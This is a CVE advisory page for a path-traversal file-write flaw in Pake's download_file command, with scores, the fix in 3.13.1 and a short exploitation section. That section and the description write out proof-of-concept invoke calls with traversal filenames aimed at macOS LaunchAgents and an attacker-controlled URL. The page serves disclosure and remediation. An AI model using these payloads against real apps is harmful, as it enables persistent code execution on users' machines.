CVE-2026-82635Pake arbitrary file write via unsanitized download_file filename
- 8.8HighCVSS base score
- 0.63%Exploitation in 30 daysEPSS · top 49% of all CVEs
- NoKnown exploitednot in CISA's KEV catalog
- NonePublic exploitsnone known yet
Description
Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
Timeline
ID reserved
By JFROG
Published
- 1 day later
· 1 day later
Record updated
Changes after publication (a new score, a public exploit, EPSS crossing 1, 10 or 50 %, leaving KEV) are kept since November 2026; earlier ones are not known.
Scores
| Scored by | CVSS | Score | Vector |
|---|---|---|---|
| JFROGCNA (assigner) | 3.1 | High8.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| NVDNVD · Analyzed | 3.1 | High8.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
- EPSS (exploitation in 30 days)
- 0.63% · top 49% of all CVEs (19 Nov 2026)
- CISA SSVC
- Exploitation: none · Automatable: no · Technical impact: total
The list uses the assigner's score when there is one, then CISA's, then NVD's: High 8.8.
Affected products
What to do
Solution: Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.
Exploitation: A proof of concept invokes window.__TAURI__.core.invoke('download_file', { params: { url: '<attacker-controlled HTTP URL>', filename: '../pake_write_proof.sh' } }) and a second invoke with filename '../Library/LaunchAgents/com.pake.poc.plist'. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.
References
Sources
The same CVE in the primary databases and aggregators, to check against.
- CVE.org record (opens in a new tab)
- CVE List JSON (GitHub) (opens in a new tab)
- NVD (opens in a new tab)
- FIRST EPSS (opens in a new tab)
- EUVD EUVD-2026-68199 (opens in a new tab)
- OSV.dev (opens in a new tab)
- GitHub Advisories (opens in a new tab)
- CIRCL Vulnerability-Lookup (opens in a new tab)
Badge for a README or a ticket
[](https://cveledger.app/cve/CVE-2026-82635)Record last updated .